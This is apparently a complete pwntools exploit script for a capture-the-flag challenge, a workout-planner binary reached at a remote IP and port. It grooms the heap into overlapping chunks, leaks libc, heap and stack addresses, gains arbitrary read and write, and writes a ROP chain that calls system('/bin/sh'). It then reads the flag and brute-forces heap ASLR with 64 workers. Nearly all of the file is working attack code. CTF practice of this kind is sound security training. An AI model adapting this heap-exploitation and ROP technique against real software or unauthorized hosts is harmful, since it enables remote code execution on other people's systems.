#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 162.55.187.21 --port 1024 chall
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chall')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '162.55.187.21'
port = int(args.PORT or 1024)


def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.STRACE:
        with tempfile.NamedTemporaryFile(prefix='pwnlib-log-', suffix='.strace',
                                         delete=False, mode='w') as tmp:
            log.debug('Created strace log file %r\n', tmp.name)
            run_in_new_terminal(['tail', '-f', '-n', '+1', tmp.name])
            return process(['strace', '-o', tmp.name, '--'] + [exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

def num(n):
    return str(n).encode()

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
set language c
tbreak main
# br *blazing_fast_workout_planner::main+0xd8f
# br *blazing_fast_workout_planner::main+0xaf0-5
# br *blazing_fast_workout_planner::main+0xa7e
c
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled

from string import ascii_lowercase, digits
from random import choices

from pwnbrute import *

ALP = ascii_lowercase + digits
MENU = b'option: \n'
PT = b'? \n'


def gen_buf(size=0x28):
    return ''.join(choices(ALP, k=size)).encode()

def add(name, desc):
    io.sendlineafter(MENU, b'1')
    io.sendlineafter(PT, name)
    io.sendlineafter(PT, desc)

def plan(workout):
    io.sendlineafter(MENU, b'2')
    io.sendafter(PT, num(len(workout)))

    for ex, repeat in workout.items():
        io.sendafter(b': \n', ex)
        io.sendlineafter(PT, num(repeat))


libc = ELF('libc.so.6')

def pwn():
    global io
    io = start()

    # Init btree on heap
    init = gen_buf()
    add(init, cyclic(0xb8))
    plan({init: 1})

    # ======== Prepare arb-read primitive ========
    # Overlap a part of exercise chunk with controllable description
    f1, f2 = gen_buf(0x18), gen_buf(0x18)
    add(f1, cyclic(0x48))
    add(b'arb_read1', cyclic(0x48))

    victim1 = gen_buf()
    add(victim1, cyclic(0x18))
    plan({victim1: 0})

    add(f1, cyclic(0x18))
    add(b'arb_read1', cyclic(0x18))
    add(gen_buf(0x18), cyclic(0x18))

    add(victim1, b'foo')

    for i in range(0x10):  # Move next pointer 0x50
        io.sendlineafter(MENU, b'3')
        io.sendlineafter(PT, b'1')

    add(gen_buf(0x18), cyclic(0x18))

    add(b'control1', flat({0x20: [2, 1, 8, p16(0x6ff0)]}))
    plan({b'arb_read1': 1})

    io.sendlineafter(MENU, b'3')  # Sanity check ASLR guess
    io.sendlineafter(PT, b'2')

    # ======== Leak libc and heap ========
    io.sendlineafter(MENU, b'4')
    io.sendlineafter(b': \n', b'control1')
    io.sendlineafter(b': \n', flat({0x20: [2, 1, 8, p16(0x4308)]}))

    io.sendlineafter(MENU, b'3')
    io.sendlineafter(PT, b'2')

    LIBC_BASE = u64(bytes(eval(io.recvuntil(b']').decode())[:8])) - 0x2044e0
    if (LIBC_BASE >> 40) != 0x7f:
        raise Exception('Bad libc leak')

    print(hex(LIBC_BASE))
    libc.address = LIBC_BASE

    io.sendlineafter(MENU, b'4')
    io.sendlineafter(b': \n', b'control1')
    io.sendlineafter(b': \n', flat({0x20: [2, 1, 8, p16(0x4328)]}))

    io.sendlineafter(MENU, b'3')
    io.sendlineafter(PT, b'2')

    HEAP_BASE = u64(bytes(eval(io.recvuntil(b']').decode())[:8])) - 0x380
    if (HEAP_BASE >> 40) not in (0x55, 0x56):
        raise Exception('Bad heap leak')

    print(hex(HEAP_BASE))

    # ======== Arbitrary read/write primitives ========
    # Overlap whole exercise chunk with controllable description
    f3, f4 = gen_buf(0x18), gen_buf(0x18)
    add(f3, cyclic(0x48))
    add(b'arb_read2', cyclic(0x48))

    victim2 = gen_buf()
    add(victim2, cyclic(0x18))
    plan({victim2: 0})

    add(f3, cyclic(0x18))
    add(b'arb_read2', cyclic(0x18))
    add(gen_buf(0x18), cyclic(0x18))

    add(victim2, b'foo')

    for i in range(0x30):
        io.sendlineafter(MENU, b'3')
        io.sendline(b'3')

    add(gen_buf(0x18), cyclic(0x18))

    add(b'control2', flat([1, 1, 8, libc.sym['environ'], 8, 8, HEAP_BASE, 8]))

    plan({b'arb_read2': 1})
    io.sendlineafter(MENU, b'3')
    io.sendlineafter(PT, b'4')

    RETADDR = u64(bytes(eval(io.recvuntil(b']').decode())[:8])) - 0xb00
    print(hex(RETADDR))

    # ======== Write ROP on stack ========
    io.sendlineafter(MENU, b'4')
    io.sendlineafter(b': \n', b'control2')
    io.sendlineafter(b': \n', flat([1, 1, 8, HEAP_BASE + 0x3560, 8, 32, RETADDR, 32]))

    io.sendlineafter(MENU, b'4')
    io.sendlineafter(b': \n', b'arb_read2')

    POP_RDI = LIBC_BASE + 0x10f75b
    RET = LIBC_BASE + 0x2882f
    rop = [
        RET,
        POP_RDI,
        next(libc.search(b'/bin/sh\0')),
        libc.sym['system'],
    ]
    io.sendlineafter(b': \n', flat(rop))

    io.sendline(b'cat flag.txt')
    success()

    io.interactive()


if __name__ == '__main__':
    brute(pwn, workers=64)  # 8-bits heap ASLR brute